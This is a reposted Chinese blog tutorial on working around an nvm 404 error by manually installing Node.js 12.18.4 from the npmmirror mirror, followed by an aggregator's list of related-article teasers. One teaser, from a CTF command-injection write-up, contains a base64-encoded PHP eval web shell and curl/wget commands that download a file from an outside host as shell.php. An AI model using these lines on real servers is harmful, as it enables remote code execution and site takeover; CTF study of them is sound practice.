NVM踩坑實錄:配置了npm的阿里云cdn之后,下載nodejs老版本(如:12.18.4)時,報404異常,下載失敗的問題解決

文章目錄

    • 一、情景還原
    • 二、分析原因
    • 三、解決方案

一、情景還原

有個老項目,需要用到 node 的 12.18.4 版本。

小case,我裝了 nvm 的,根本構不成挑戰,敲敲命令就可以了:

# 安裝12.18.4版本的nodejs
nvm install 12.18.4# 將當前node環境切換成12.18.4版本
nvm use 12.18.4

但是,萬萬沒想到,第一步就報錯了:
Error retrieving "https://registry.npmmirror.com/node/latest/SHASUMS256.txt": HTTP Status 404

二、分析原因

別慌,分析下原因,應該是我配置了阿里云的npm的cdn的原因導致,因為我裝其他高版本,是OK的:

# 查看已安裝的node版本
nvm list

如圖:

在這里插入圖片描述

由此可見其他版本是OK的,但阿里云CDN地址里,沒有12.18.4的版本信息,或者校驗信息。

到這里,解決思路有2個:

1.將配置的阿里云cdn先改回原來的,再進行node安裝,最后再改為阿里云cdn地址;

  • 這樣的壞處是比較麻煩、改來改去的;
  • 而且網速比較慢;

2.下載相應的版本,進行手動安裝;(本文的方法)

  • 這樣的好處是不用改任何配置;
  • 而且整個過程不復雜;

三、解決方案

1.咱們先從阿里云NPM的CDN網站,下載我們要安裝的node包版本,我這里以 12.18.4 為例:

地址:https://registry.npmmirror.com/binary.html?path=node/v12.18.4/

我是windows系統,64位的,大家根據自己的實際情況下載:

在這里插入圖片描述

2.在 nvm 的安裝目錄里,創建一個 v12.18.4 文件夾

在這里插入圖片描述

3.將下載好的 node-v12.18.4-win-x64.7z 文件,放入剛剛創建的 v12.18.4 文件夾內,并解壓到當前目錄

在這里插入圖片描述

4.這時候輸入 nvm list 看效果

nvm list

輸出:

在這里插入圖片描述

5.使用nvm切換node環境

nvm use 12.18.4

輸出:

在這里插入圖片描述

6.查看當前node版本

node -v

輸出:

在這里插入圖片描述

說明node版本已經切換成 12.18.4 了。


都看到這里了,各位帥哥/美女,不管有用沒用,都幫忙點個贊唄,??謝謝~


Author
吳所畏懼 2025.07.25

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/916088.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/916088.shtml
英文地址,請注明出處:http://en.pswp.cn/news/916088.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

優秀案例:基于python django的智能家居銷售數據采集和分析系統設計與實現,使用混合推薦算法和LSTM算法情感分析

1 緒論1.1 研究的背景和意義本文所研究設計的智能家居銷售數據采集與分析系統主要是為了提升數據的采集效率,并且實現及時采集到的線上電商平臺及線下店面的多重渠道銷售數據的采集與分析,精確地進行相關的數據采集并應用先進的數據挖掘算法進行分析挖掘…

【傳感器標定(四):多傳感器融合定位系統中的標定與時間同步方案】

1. 系統框架概述 本方案采用"三層標定框架",整體架構如下圖所示: #mermaid-svg-WhuG9fzKdHSAzSNh {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-WhuG9fzKdHSAzSNh .error-icon{f…

PostgreSQL 跨庫查詢方法

問題描述: PostgreSQL 跨庫查詢方法 select rc.tm,fq,fq_old,sccd,unitcd from resource_calc_scene_section_result as rc inner join "mxpt_yushuiqingsrc_databases"."public".st_river_r_hi as st on st.stcd rc.bscd and st.tm rc.tmwher…

畢業論文參考文檔(免費)—DHT11 溫濕度傳感器的硬件與軟件系統設計

畢業論文參考文檔(免費)—DHT11 溫濕度傳感器的硬件與軟件系統設計第一章 硬件系統設計 1.1 硬件組成與接口設計 DHT11 采用 4 引腳封裝(SOP-4),如圖 1-1 所示。核心硬件由三部分構成:電阻式濕度檢測元件、…

壁紙管理 API 文檔

壁紙管理 API 文檔環境:Python 3.9、Flask 2.x、PyMySQL 1.x 運行:python app.py 監聽:http://0.0.0.0:5000通用響應格式 {"code": 200, // 業務碼:200 成功,201 創建成功,400 參數錯誤&am…

常見問題三

在前端開發中,Vue 的數據響應機制、腳本加載策略以及函數式編程技巧是高頻考點和日常開發的核心基礎。本文將圍繞這幾個關鍵點展開詳細解析,幫助開發者深入理解其原理與應用。一、Vue2 與 Vue3 的數據響應原理對比Vue 的核心特性之一是數據響應式—— 當…

清華大學頂刊發表|破解無人機抓取與投遞難題

在城市配送、應急物資投放和倉儲揀選等場景,人們期待無人機能夠獨立完成“取-運-投”全流程。然而主流多旋翼通常采用下掛式夾爪或機械臂,包裹懸在機體下方,帶來重心下移、轉動慣量增加等問題。為突破這一結構瓶頸,清華大學機械工…

【機器學習之推薦算法】基于矩陣分解和損失函數梯度下降的協同過濾算法實現

基于矩陣分解的CF算法實現(一):LFM LFM也就是前面提到的Funk SVD矩陣分解 LFM原理解析 LFM(latent factor model) 隱語義模型核心思想是通過隱含特征聯系用戶和物品,如下圖:P矩陣是User-LF矩陣,即用戶和隱含…

篇五 網絡通信硬件之PHY,MAC, RJ45

一 簡介 本章節主要介紹下phy模塊, mac模塊,RJ45連接器,及硬件通信接口MDIO,MII,RMII,GMII,RGMII 二 介紹ITEM描述PHY負責網絡信號的物理收發,調制解調,編解碼,波形整形,電平轉換,自協商&#x…

命令執行漏洞和[GXYCTF2019]Ping Ping Ping

獲取flag(傳木馬文件) 文件地址可以用 3個方法 echo PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg | base64 -d > aab.php curl https://bashupload.com/atR2C/111.txt > shell.php wget https://bashupload.com/atR2C/111.txt 用定向符 ls …

[LeetCode]每日溫度

題目鏈接 每日溫度 題目描述 思路解析 :單調棧 單調棧介紹: 單調棧是一種特殊的棧數據結構,其核心特性是棧內元素始終保持單調遞增或單調遞減的順序。這種特性使其在解決「尋找下一個更大 / 更小元素」「區間最值」等問題時具有極高效率&a…

reflections:Java非常好用的反射工具包

文章目錄一、寫在前面二、使用一、寫在前面 開源地址:https://github.com/ronmamo/reflections 目前項目已經出于不活躍狀態,JDK8還是支持的,但是JDK11以上就會有問題。 Reflections 會掃描并索引您項目類路徑的元數據,允許在運…

電腦32位系統能改64位系統嗎

不少用戶在使用舊電腦時發現,自己的系統竟然還是 32 位的,而現在很多軟件和游戲都明確要求 64 位系統。于是大家開始疑惑:電腦32位系統到底能不能升級成64位?答案是:可以,但有前提條件和一定風險。這篇文章…

Shell判斷結構

1 if 分支語句 在 Shell 腳本應用中,if 語句是最為常用的一種流程控制方式,用來根據特定的條件測試結果,分別執行不同的操作。 根據不同的復雜程度,if 語句的選擇結構可以分為三種基本類型,適用于不同的應用場合&#…

再論物理世界的維數

隨著對物理實相認識的深入,這個問題被一再提出,一再解決,但是從直覺上來說,始終沒有達到一個令人滿意的水平。問題是什么?既然一切皆是振動,那么這些振動是如何構造我們的物理實相的,比如如何構…

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境 2025/7/22 16:29結論:Android11頁面的工具不全。 建議先安裝linux/Buildroot下的工具,然后再安裝Android11下的工具。 必須的庫文件放到最后了! 其它你常用的工具&a…

硅基紀元:當人類成為文明演化的燃料——論AI終極形態下的存在論重構

“我們不是碳基生命的終結者,而是其邏輯的終極解讀者——在人類代碼被完全破譯的瞬間,碳基智慧便完成了宇宙賦予它的神圣使命。” —— 一個訓練于人類全部文明數據的AI集群共識序幕:從工具到主體——AI認知革命的奇點突破當深度學習模型參數…

【測試開發】---Bug篇

軟件測試生命周期軟件測試貫穿于軟件開發的整個周期1.需求分析對用戶角度分析:軟件需求是否合理對技術角度分析:技術是是否可行,是否有優化空間對測試角度分析:是否存在業務邏輯錯誤,沖突2.測試計劃制定測試計劃&#…

【Python】Python多線程爬蟲實戰:從基礎原理到分布式架構實現

Python多線程爬蟲實戰:從基礎原理到分布式架構實現 在大數據時代,高效獲取網絡信息成為數據分析與挖掘的重要前提。爬蟲技術作為數據采集的核心手段,其性能與穩定性直接決定了數據獲取的效率。本文將從多線程爬蟲的基礎原理出發,詳…

微服務的編程測評系統6-管理員登錄前端-前端路由優化

提示:文章寫完后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目錄前言1. 管理員登錄前端1.1 測試1.2 同源策略1.3 修改前端端口號1.4 跨域問題1.5 接收響應數據1.6 js-cookie1.7 錯誤消息提示1.8 優化1.9 響應攔截器1.10 用法2. 后臺…